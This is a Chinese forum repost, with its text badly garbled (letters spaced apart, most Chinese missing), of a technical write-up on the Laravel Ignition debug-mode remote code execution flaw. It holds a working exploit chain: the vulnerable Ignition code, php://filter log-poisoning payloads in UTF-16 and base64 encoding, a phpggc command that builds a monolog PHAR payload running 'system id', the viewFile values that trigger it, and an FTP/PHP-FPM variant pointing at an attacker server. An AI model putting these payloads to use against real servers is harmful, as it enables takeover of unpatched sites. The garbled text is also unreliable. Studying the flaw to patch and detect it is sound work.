[20471] 2021-01-14_Laravel=v8.4.2调试模式造成远程代码执行漏洞

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-01-14_Laravel=v8.4.2调试模式造成远程代码执行漏洞 L a r a v e l   < =   v 8 . 4 . 2 K h a n   2 0 2 1 - 0 1 - 1 4                         2 0 2 0 1 1 ,   ,   L a r a v e l .   ,   ,   ,   : ,   I g n i t i o n ,   I g n i t i o n L a r a v e l 6 .   ,   . I g n i t i o n   < =   2 . 5 . 1                         ,   I g n i t i o n ,   .   使   " 使 " { {   $ u s e r n a m e   } } { {   $ u s e r n a m e   ?   ' '   } } .   H T T P
西 I g n i t i o n R u n n a b l e S o l u t i o n . / v e n d o r / f a c a d e / i g n i t i o n / s r c / S o l u t i o n s / M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n . p h p [ 1 ] $ v a r i a b l e N a m e $ v a r i a b l e N a m e   ?   ' ' [ 2 ] m a k e O p t i o n a l f a l s e [ 3 ] 使 v a r i a b l e N a m e v i e w F i l e v a r i a b l e N a m e c l a s s   S o l u t i o n P r o v i d e r R e p o s i t o r y   i m p l e m e n t s   S o l u t i o n P r o v i d e r R e p o s i t o r y C o n t r a c t {         . . .         p u b l i c   f u n c t i o n   g e t S o l u t i o n F o r C l a s s ( s t r i n g   $ s o l u t i o n C l a s s ) :   ? S o l u t i o n {                 i f   ( !   c l a s s _ e x i s t s ( $ s o l u t i o n C l a s s ) )   {                         r e t u r n   n u l l ;                 }                 i f   ( !   i n _ a r r a y ( S o l u t i o n : : c l a s s ,   c l a s s _ i m p l e m e n t s ( $ s o l u t i o n C l a s s ) ) )   {                         r e t u r n   n u l l ;                 }                 r e t u r n   a p p ( $ s o l u t i o n C l a s s ) ;         } } c l a s s   M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n   i m p l e m e n t s   R u n n a b l e S o l u t i o n {         . . .         p u b l i c   f u n c t i o n   r u n ( a r r a y   $ p a r a m e t e r s   =   [ ] ) {                 $ o u t p u t   =   $ t h i s - > m a k e O p t i o n a l ( $ p a r a m e t e r s ) ;                 i f   ( $ o u t p u t   ! = =   f a l s e )   {                         f i l e _ p u t _ c o n t e n t s ( $ p a r a m e t e r s [ ' v i e w F i l e ' ] ,   $ o u t p u t ) ;                 }         }         p u b l i c   f u n c t i o n   m a k e O p t i o n a l ( a r r a y   $ p a r a m e t e r s   =   [ ] ) {                 $ o r i g i n a l C o n t e n t s   =   f i l e _ g e t _ c o n t e n t s ( $ p a r a m e t e r s [ ' v i e w F i l e ' ] ) ;   / /   [ 1 ]                 $ n e w C o n t e n t s   =   s t r _ r e p l a c e ( ' $ ' . $ p a r a m e t e r s [ ' v a r i a b l e N a m e ' ] ,   ' $ ' . $ p a r a m e t e r s [ ' v a r i a b l e N a m e ' ] . "   ? ?   ' ' " ,   $ o r i g i n a l C o n t e n t s ) ;                 $ o r i g i n a l T o k e n s   =   t o k e n _ g e t _ a l l ( B l a d e : : c o m p i l e S t r i n g ( $ o r i g i n a l C o n t e n t s ) ) ;   / /   [ 2 ]                 $ n e w T o k e n s   =   t o k e n _ g e t _ a l l ( B l a d e : : c o m p i l e S t r i n g ( $ n e w C o n t e n t s ) ) ;                 $ e x p e c t e d T o k e n s   =   $ t h i s - > g e n e r a t e E x p e c t e d T o k e n s ( $ o r i g i n a l T o k e n s ,   $ p a r a m e t e r s [ ' v a r i a b l e N a m e ' ] ) ;                 i f   ( $ e x p e c t e d T o k e n s   ! = =   $ n e w T o k e n s )   {   / /   [ 3 ]                         r e t u r n   f a l s e ;                 }                 r e t u r n   $ n e w C o n t e n t s ;         }         p r o t e c t e d   f u n c t i o n   g e n e r a t e E x p e c t e d T o k e n s ( a r r a y   $ o r i g i n a l T o k e n s ,   s t r i n g   $ v a r i a b l e N a m e ) :   a r r a y {                 $ e x p e c t e d T o k e n s   =   [ ] ;                 f o r e a c h   ( $ o r i g i n a l T o k e n s   a s   $ t o k e n )   {                         $ e x p e c t e d T o k e n s [ ]   =   $ t o k e n ;                         i f   ( $ t o k e n [ 0 ]   = = =   T _ V A R I A B L E   & &   $ t o k e n [ 1 ]   = = =   ' $ ' . $ v a r i a b l e N a m e )   {                                 $ e x p e c t e d T o k e n s [ ]   =   [ T _ W H I T E S P A C E ,   '   ' ,   $ t o k e n [ 2 ] ] ;                                 $ e x p e c t e d T o k e n s [ ]   =   [ T _ C O A L E S C E ,   ' ? ? ' ,   $ t o k e n [ 2 ] ] ;                                 $ e x p e c t e d T o k e n s [ ]   =   [ T _ W H I T E S P A C E ,   '   ' ,   $ t o k e n [ 2 ] ] ;                                 $ e x p e c t e d T o k e n s [ ]   =   [ T _ C O N S T A N T _ E N C A P S E D _ S T R I N G ,   " ' ' " ,   $ t o k e n [ 2 ] ] ;                         }                 }                 r e t u r n   $ e x p e c t e d T o k e n s ;         }         . . . }
v i e w F i l e v i e w F i l e ! P H A R P H P                         p h p : / / f i l t e r e x p l o i t a t i o n   p r i m i t i v e                           !   B a d c h a r s                                         L a r a v e l P H P / l o g / l a r a v e l . l o g ,   S O M E _ T E X T _ O F _ O U R _ C H O I C E : 使 O r a n g e P H A R 使 p h a r : / / $ c o n t e n t s   =   f i l e _ g e t _ c o n t e n t s ( $ p a r a m e t e r s [ ' v i e w F i l e ' ] ) ; f i l e _ p u t _ c o n t e n t s ( $ p a r a m e t e r s [ ' v i e w F i l e ' ] ,   $ c o n t e n t s ) $   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / l a r a v e l / l a r a v e l . g i t $   c d   l a r a v e l $   g i t   c h e c k o u t   e 8 4 9 8 1 2 $   c o m p o s e r   i n s t a l l $   c o m p o s e r   r e q u i r e   f a c a d e / i g n i t i o n = = 2 . 5 . 1 $   p h p   a r t i s a n   s e r v e $   e c h o   t e s t   |   b a s e 6 4   |   b a s e 6 4   >   / p a t h / t o / f i l e . t x t $   c a t   / p a t h / t o / f i l e . t x t Z E d W e m R B b z 0 K $ f   =   ' p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / f i l e . t x t ' ; #   R e a d s   / p a t h / t o / f i l e . t x t ,   b a s e 6 4 - d e c o d e s   i t ,   r e t u r n s   t h e   r e s u l t $ c o n t e n t s   =   f i l e _ g e t _ c o n t e n t s ( $ f ) ;   #   B a s e 6 4 - d e c o d e s   $ c o n t e n t s ,   t h e n   w r i t e s   t h e   r e s u l t   t o   / p a t h / t o / f i l e . t x t f i l e _ p u t _ c o n t e n t s ( $ f ,   $ c o n t e n t s ) ; $   c a t   / p a t h / t o / f i l e . t x t t e s t #   T o   b a s e 6 4 - d e c o d e   o n c e ,   u s e : $ f   =   ' p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / f i l e . t x t ' ; #   O R $ f   =   ' p h p : / / f i l t e r / w r i t e = c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / f i l e . t x t ' ; $   e c h o   ' : ; . ! ! ! ! ! Z E d W e m R B b z 0 K : ; . ! ! ! ! ! '   >   / p a t h / t o / f i l e . t x t $ f   =   ' p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - d e c o d e | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / f i l e . t x t ' ; $ c o n t e n t s   =   f i l e _ g e t _ c o n t e n t s ( $ f ) ;   f i l e _ p u t _ c o n t e n t s ( $ f ,   $ c o n t e n t s ) ; $   c a t   / p a t h / t o / f i l e . t x t t e s t [ 2 0 2 1 - 0 1 - 1 1   1 2 : 3 9 : 4 4 ]   l o c a l . E R R O R :   f i l e _ g e t _ c o n t e n t s ( S O M E _ T E X T _ O F _ O U R _ C H O I C E ) :   f a i l e d   t o   o p e n   s t r e a m :   N o   s u c h   f i l e   o r   d i r e c t o r y   { " e x c e p t i o n " : " [ o b j e c t ]   ( E r r o r E x c e p t i o n ( c o d e :   0 ) :   f i l e _ g e t _ c o n t e n t s ( S O M E _ T E X T _ O F _ O U R _ C H O I C E ) :   f a i l e d   t o   o p e n   s t r e a m :   N o   s u c h   f i l e   o r   d i r e c t o r y   a t   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / f a c a d e / i g n i t i o n / s r c / S o l u t i o n s / M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n . p h p : 7 5 ) [ s t a c k t r a c e ] # 0   [ i n t e r n a l   f u n c t i o n ] :   I l l u m i n a t e F o u n d a t i o n B o o t s t r a p H a n d l e E x c e p t i o n s - > h a n d l e E r r o r ( ) # 1   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / f a c a d e / i g n i t i o n / s r c / S o l u t i o n s / M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n . p h p ( 7 5 ) :   f i l e _ g e t _ c o n t e n t s ( ) # 2   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / f a c a d e / i g n i t i o n / s r c / S o l u t i o n s / M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n . p h p ( 6 7 ) :   F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n - > m a k e O p t i o n a l ( ) # 3   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / f a c a d e / i g n i t i o n / s r c / H t t p / C o n t r o l l e r s / E x e c u t e S o l u t i o n C o n t r o l l e r . p h p ( 1 9 ) :   F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n - > r u n ( ) # 4   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / l a r a v e l / f r a m e w o r k / s r c / I l l u m i n a t e / R o u t i n g / C o n t r o l l e r D i s p a t c h e r . p h p ( 4 8 ) :   F a c a d e I g n i t i o n H t t p C o n t r o l l e r s E x e c u t e S o l u t i o n C o n t r o l l e r - > _ _ i n v o k e ( ) [ . . . ] # 3 2   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / l a r a v e l / f r a m e w o r k / s r c / I l l u m i n a t e / P i p e l i n e / P i p e l i n e . p h p ( 1 0 3 ) :   I l l u m i n a t e P i p e l i n e P i p e l i n e - > I l l u m i n a t e P i p e l i n e { c l o s u r e } ( ) # 3 3   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / l a r a v e l / f r a m e w o r k / s r c / I l l u m i n a t e / F o u n d a t i o n / H t t p / K e r n e l . p h p ( 1 4 1 ) :   I l l u m i n a t e P i p e l i n e P i p e l i n e - > t h e n ( ) # 3 4   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / l a r a v e l / f r a m e w o r k / s r c / I l l u m i n a t e / F o u n d a t i o n / H t t p / K e r n e l . p h p ( 1 1 0 ) :   I l l u m i n a t e F o u n d a t i o n H t t p K e r n e l - > s e n d R e q u e s t T h r o u g h R o u t e r ( ) # 3 5   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / p u b l i c / i n d e x . p h p ( 5 2 ) :   I l l u m i n a t e F o u n d a t i o n H t t p K e r n e l - > h a n d l e ( ) # 3 6   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / s e r v e r . p h p ( 2 1 ) :   r e q u i r e _ o n c e ( ' / w o r k / p e n t e s t / l . . . ' ) # 3 7   { m a i n } " }
b a s e 6 4 - d e c o d e b a s e 6 4 - d e c o d i n g P H P = 使 b a s e 6 4 - d e c o d e = P H P ! 2 b a s e 6 4 使 a   = b a s e 6 4 - d e c o d e s   P H P   b a s e 6 4 - d e c o d e !   p h p : / / f i l t e r b a s e 6 4 U T F - 1 6 U T F - 8 e c h o   - n e   ' [ S o m e   p r e f i x   ] P 0 A 0 Y 0 L 0 O 0 A 0 D 0 [ m i d f i x ] P 0 A 0 Y 0 L 0 O 0 A 0 D 0 [ S o m e   s u f f i x   ] '   >   / t m p / t e s t . t x t p h p   >   e c h o   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / f i l t e r / r e a d = c o n v e r t . i c o n v . u t f 1 6 l e . u t f - 8 / r e s o u r c e = / t m p / t e s t . t x t ' ) ; P A Y L O A D P A Y L O A D A S C I I U T F - 1 6 p a y l o a d b a s e 6 4 西 2 A B p a y l o a d _ a p a y l o a d _ b 使 N U L L p a y l o a d P H P N U L L N U L L c o n v e r t . q u o t e d - p r i n t a b l e - d e c o d e p h p   >   v a r _ d u m p ( b a s e 6 4 _ d e c o d e ( ' [ 2 0 2 2 - 0 4 - 3 0   2 3 : 5 9 : 1 1 ] ' ) ) s t r i n g ( 0 )   " " p h p   >   v a r _ d u m p ( b a s e 6 4 _ d e c o d e ( ' [ 2 0 2 2 - 0 4 - 1 2   2 3 : 5 9 : 1 1 ] ' ) ) s t r i n g ( 1 )   " 2 " [ p r e v i o u s   l o g   e n t r i e s ] [ p r e f i x ] P A Y L O A D [ m i d f i x ] P A Y L O A D [ s u f f i x ] [ p r e f i x ] P A Y L O A D [ m i d f i x ] P A Y L O A D [ s u f f i x ] e c h o   - n e   ' [ S o m e   p r e f i x   ] P 0 A 0 Y 0 L 0 O 0 A 0 D 0 X [ m i d f i x ] P 0 A 0 Y 0 L 0 O 0 A 0 D 0 X [ S o m e   s u f f i x   ] '   >   / t m p / t e s t . t x t p h p   >   e c h o   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / f i l t e r / r e a d = c o n v e r t . i c o n v . u t f 1 6 l e . u t f - 8 / r e s o u r c e = / t m p / t e s t . t x t ' ) ; P A Y L O A D $   e c h o   - n   T E S T !   |   b a s e 6 4   |   s e d   - E   ' s / . / 0 0 / g ' V 0 E 0 V 0 T 0 V 0 C 0 E 0 = 0 $   e c h o   - n e   ' [ S o m e   p r e f i x   ] V 0 E 0 V 0 T 0 V 0 C 0 E 0 = 0 X [ m i d f i x ] V 0 E 0 V 0 T 0 V 0 C 0 E 0 = 0 X [ S o m e   s u f f i x   ] '   >   / t m p / t e s t . t x t p h p   >   e c h o   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / f i l t e r / r e a d = c o n v e r t . i c o n v . u t f 1 6 l e . u t f - 8 | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / t m p / t e s t . t x t ' ) ; T E S T ! P H P   W a r n i n g :     f i l e _ g e t _ c o n t e n t s ( ) :   i c o n v   s t r e a m   f i l t e r   ( " u t f 1 6 l e " = > " u t f - 8 " ) :   i n v a l i d   m u l t i b y t e   s e q u e n c e   i n   p h p   s h e l l   c o d e   o n   l i n e   1 [ p r e f i x ] P A Y L O A D _ A [ m i d f i x ] P A Y L O A D _ A [ s u f f i x ] [ p r e f i x ] P A Y L O A D _ B [ m i d f i x ] P A Y L O A D _ B [ s u f f i x ] P H P   W a r n i n g :     f i l e _ g e t _ c o n t e n t s ( )   e x p e c t s   p a r a m e t e r   1   t o   b e   a   v a l i d   p a t h ,   s t r i n g   g i v e n   i n   p h p   s h e l l   c o d e   o n   l i n e   1
使 = 0 0 N U L L P H P G G C x 1 0 P H A R P H A R R e s u l t : A s   a n   e x p l o i t : F T P P H P - F P M   f i l e _ g e t _ c o n t e n t s   西   H T T P   P H P - F P M 9 0 0 0 P H P - F P M g o p h e r : / / 使 c u r l g o p h e r : / / P H P T C P F T P F T P I P I P 使 v i e w F i l e = f t p : / / e v i l - s e r v e r . l e x f o . f r / f i l e . t x t f i l e _ g e t _ c o n t e n t s ( )   F T P f i l e . t x t f i l e _ p u t _ c o n t e n t s ( )     F T P     f i l e . t x t 使 F T P 使 f i l e _ g e t _ c o n t e n t s ( ) 使 f i l e _ p u t _ c o n t e n t s ( ) v i e w F i l e :   p h p : / / f i l t e r / w r i t e = c o n v e r t . q u o t e d - p r i n t a b l e - d e c o d e | c o n v e r t . i c o n v . u t f - 1 6 l e . u t f - 8 | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / s t o r a g e / l o g s / l a r a v e l . l o g p h p   - d ' p h a r . r e a d o n l y = 0 '   . / p h p g g c   m o n o l o g / r c e 1   s y s t e m   i d   - - p h a r   p h a r   - o   p h p : / / o u t p u t   |   b a s e 6 4   - w 0   |   s e d   - E   ' s / . / 0 = 0 0 / g ' U = 0 0 E = 0 0 s = 0 0 D = 0 0 B = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 I = 0 0 Q = 0 0 A = 0 0 M = 0 0 f = 0 0 n = 0 0 / = 0 0 Y = 0 0 B = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 Q = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 F = 0 0 A = 0 0 B = 0 0 I = 0 0 A = 0 0 Z = 0 0 H = 0 0 V = 0 0 t = v i e w F i l e :   p h p : / / f i l t e r / w r i t e = c o n v e r t . b a s e 6 4 - d e c o d e | c o n v e r t . b a s e 6 4 - d e c o d e | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / s t o r a g e / l o g s / l a r a v e l . l o g v i e w F i l e :   A A v i e w F i l e :   U = 0 0 E = 0 0 s = 0 0 D = 0 0 B = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 I = 0 0 Q = 0 0 A = 0 0 M = 0 0 f = 0 0 n = 0 0 / = 0 0 Y = 0 0 B = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 Q = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 F = 0 0 A = 0 0 B = 0 0 I = 0 0 A = 0 0 Z = 0 0 v i e w F i l e :   p h p : / / f i l t e r / w r i t e = c o n v e r t . q u o t e d - p r i n t a b l e - d e c o d e | c o n v e r t . i c o n v . u t f - 1 6 l e . u t f - 8 | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / s t o r a g e / l o g s / l a r a v e l . l o g v i e w F i l e :   p h a r : / / / p a t h / t o / s t o r a g e / l o g s / l a r a v e l . l o g
1 2 7 . 0 . 0 . 1 : 9 0 0 0 P H P - F P M 2 0 2 0 1 1 1 6 G i t H u b I g n i t i o n b u g 2 . 5 . 2 L a r a v e l r e q u i r e - d e v h t t p s : / / w w w . a m b i o n i c s . i o / b l o g / l a r a v e l - d e b u g - r c e
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则